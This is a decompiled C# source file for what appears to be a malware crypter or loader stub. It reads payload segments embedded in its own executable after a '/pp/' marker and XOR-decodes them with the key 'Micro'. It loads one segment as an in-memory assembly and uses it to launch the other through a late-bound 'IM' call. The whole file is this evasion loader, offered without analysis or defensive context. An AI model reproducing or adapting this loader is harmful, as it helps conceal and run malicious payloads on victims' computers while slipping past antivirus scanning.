using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using System; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Text; [StandardModule] public sealed class Perfetto { static Perfetto() { } public static string DL = Perfetto.Sandwich(Perfetto.SP()[2], "Micro"); public static Assembly assembly__2 = Assembly.Load(Encoding.Default.GetBytes(Perfetto.DL)); public static Type typo = Perfetto.assembly__2.GetType("PP.PP"); public static object myobject = RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Perfetto.typo)); public static string[] SP() { string @string = Encoding.Default.GetString(File.ReadAllBytes(Assembly.GetEntryAssembly().Location)); return Strings.Split(@string, "/pp/", -1, CompareMethod.Binary); } [STAThread] public static void Main(string[] args) { string bottle = Perfetto.SP()[1]; string s = Perfetto.Sandwich(bottle, "Micro"); byte[] array = Encoding.Default.GetBytes(s); object arg_75_0 = Perfetto.myobject; Type arg_75_1 = null; string arg_75_2 = "IM"; object[] array2 = new object[] { array, "A", "_Start", new object[0] }; object[] arg_75_3 = array2; string[] arg_75_4 = null; Type[] arg_75_5 = null; bool[] array3 = new bool[] { true, false, false, false }; NewLateBinding.LateCall(arg_75_0, arg_75_1, arg_75_2, arg_75_3, arg_75_4, arg_75_5, array3, true); if (array3[0]) { array = (byte[])Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array2[0]), typeof(byte[])); } } public static string Sandwich(string Bottle, string Joint) { StringBuilder stringBuilder = new StringBuilder(); int arg_11_0 = 0; checked { int num = Bottle.Length - 1; for (int i = arg_11_0; i <= num; i += 2) { int num2 = 0; string value = Conversions.ToString(Strings.Chr((int)(Conversions.ToLong("&H" + Bottle.Substring(i, 2)) ^ unchecked((long)Strings.Asc(Joint[num2]))))); stringBuilder.Append(value); if (num2 == Joint.Length - 1) { num2 = 0; } else { num2++; } } return stringBuilder.ToString(); } } }